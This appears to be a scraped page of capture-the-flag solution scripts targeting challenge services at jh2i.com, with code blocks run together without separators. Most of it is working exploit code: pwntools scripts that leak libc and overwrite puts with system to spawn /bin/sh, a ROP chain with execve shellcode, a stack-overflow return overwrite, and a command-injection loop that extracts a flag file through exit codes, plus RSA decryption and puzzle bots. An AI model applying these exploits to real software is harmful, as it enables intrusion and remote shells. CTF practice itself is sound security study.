Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
struct part {
char name[0x78];
char* previous_part;
}from pwn import *
mode = sys.argv[1]
NUM_TO_NEXTPART = 0x78
padding = b'A' * NUM_TO_NEXTPART
e = ELF("./conveyor")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" if mode == 'local' else "/home/kali/Tools/libc-database/libs/libc6_2.27-3ubuntu1_amd64/libc.so.6")
p = e.process() if mode == 'local' else remote('jh2i.com', 50020)
p.recvuntil(b"> ")
p.sendline("1")
p.recvuntil(b": ")
p.sendline("l33t")
p.sendline("2")
p.recvuntil(b"? ")
p.sendline("no")
p.recvuntil(b": ")
# Setup is done. Time for the main exploit.
payload = padding + p64(e.got['puts'])
p.sendline(payload)
p.recvline()
output = p.recvline()[:-1]
print(output)
leak = output + b'\x00' * (8 - len(output))
puts = u64(leak)
log.info(f"Puts address: {hex(puts)}")
libcbase = puts - libc.symbols['puts']
libc.address = libcbase
log.info(f"Libc base: {hex(libcbase)}")
# Overwrite puts with system. Then, overwrite next part address with /bin/sh. So, it'll load /bin/sh as the next part. It'll try to puts the next part, and boom! Shell popped.
new = p64(libc.symbols['system'])
new += b'B' * (0x78 - len(new))
new += p64(next(libc.search(b"/bin/sh")))
p.sendline(new)
p.interactive()from pwn import *
rax = 0xdead ^ 0xbeef
e = ELF("./syrup")
payload = b'A' * 0x400 + flat(rax,0x402000, 0x000000000040105d,rax,b'B' * 8, 0x402000+8, word_size=64)
#p = e.process()
p = remote('jh2i.com', 50036)
p.recvline()
pause()
p.sendline(payload)
p.clean()
#Send shellcode
shellcode = asm("mov rdi,0x402000 ; mov rsi,0 ; mov rdx,0 ; mov rax,0x3b ; syscall", arch='amd64')
pause()
p.sendline(b"/bin/sh\x00" + shellcode)
p.interactive()
`def load_cookie():
cookie = {}
auth = request.cookies.get("auth")
if auth:
try:
cookie = json.loads(binascii.unhexlify(auth).decode("utf8"))
digest = cookie.pop("digest")
if blah():#...performs check
return False, {}
except:
pass
#...more code...
def index():
ok, cookie = load_cookie()
if not ok: return abort(403)
return render_template(
"index.html",
user=cookie.get("user", None),
admin=cookie.get("admin", None),
flag=FLAG)
return True, cookiefrom pwn import *
NUM_TO_RET = 497
flag = 0x401312
padding = b'A' * NUM_TO_RET
#p = process("./dangerous")
p = remote("jh2i.com", 50011)
p.sendline(flat(padding, flag, word_size=64))
p.interactive()import socket
import re
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('jh2i.com',50025))
def getcmdoutput(cmd):
global s
s.send(cmd.encode() + b'\n')
output = s.recv(1024).decode()
code = re.findall("(.*)... Well this is awkward...",output)[0]
return int(code)
base = "cat this_is_where_the_flag_is_plz_dont_bruteforce/flag.txt"
output = ""
for i in range(60):
command = "var1=$({});var2=$(echo $var1 | cut -c {});exit $(echo -n $var2 | od -An -tuC)"
command = command.format(base,i + 1)
exitcode = getcmdoutput(command)
print(command)
output += chr(exitcode)
print(output)primes = [2208664111,2214452749,2259012491,2265830453,2372942981,2393757139,2465499073,2508863309,2543358889,2589229021,2642723827,2758626487,2850808189,2947867051,2982067987,3130932919,3290718047,3510442297,3600488797,3644712913,3650456981,3726115171,3750978137,3789130951,3810149963,3979951739,4033877203,4128271747,4162800959,4205130337,4221911101,4268160257]
from Crypto.Util.number import inverse, long_to_bytes
n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
e = 65537
ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681
phi = 1
for p in primes:
phi *= (p - 1)
d = inverse(e, phi)
pt = pow(ct, d, n)
decrypted = long_to_bytes(pt)
print(str(decrypted))while read line; do echo $line; done < flag.txtfrom pwn import *
import re
r = remote('jh2i.com', 50031)
weapons = [100000, 10000, 2000, 1000, 100]
while True:
prompt = r.recvuntil('>').decode()
print(prompt)
gold = int(re.findall('Gold: \d+', prompt)[0].split()[1])
print(gold)
try: # The try and except was because I'm dumb and when you have nothing in the weapons list you get an index error
if gold >= weapons[-1]:
weapons.pop()
r.sendline('6')
r.recvuntil(':')
r.sendline(str(5 - len(weapons)))
else:
r.sendline(str(len(weapons) + 1))
except:
r.sendline('1')def a(num):
from Crypto.Util.number import isPrime
return isPrime(num)
def b(num):
n = num
rev = 0
while num > 0:
dig = num % 10
rev = rev * 10 + dig
num = num // 10
if n == rev:
return True
return Falsefrom pwn import *
from string import ascii_letters
def shift(string, offset):
result = ''
for c in string:
result += chr((ord(c)+offset-97)%26 + 97) if c in ascii_letters else c
return result
flag = [' ']*50
r = remote('jh2i.com', 50034)
r.sendline(r.recvline())
while True:
line = r.recvline().decode()
offset = ord('s') - ord(line[0])
decrypted = shift(line, offset)
if 'character' in decrypted:
flag[int(decrypted.split()[6])] = decrypted[-3]
r.sendline(decrypted)
print(*flag, sep='')from pwn import *
import enchant
wordlist = enchant.Dict('en-US')
notin = lambda x: not wordlist.check(x)
isin = lambda x: wordlist.check(x)
r = remote('jh2i.com', 50012)
while True:
line = r.recvline().decode()
print(line)
words = r.recvline().decode()
print(words)
words = words.split()
func = notin if 'NOT' in line else isin
if 'CHRONOLOGICAL' in line:
result = ' '.join(word for word in words if func(word))
elif 'ALPHABETICAL' in line:
result = ' '.join(sorted(word for word in words if func(word)))
else:
result = str(sum(map(func, words)))
r.sendline(result)
print(r.recvline().decode())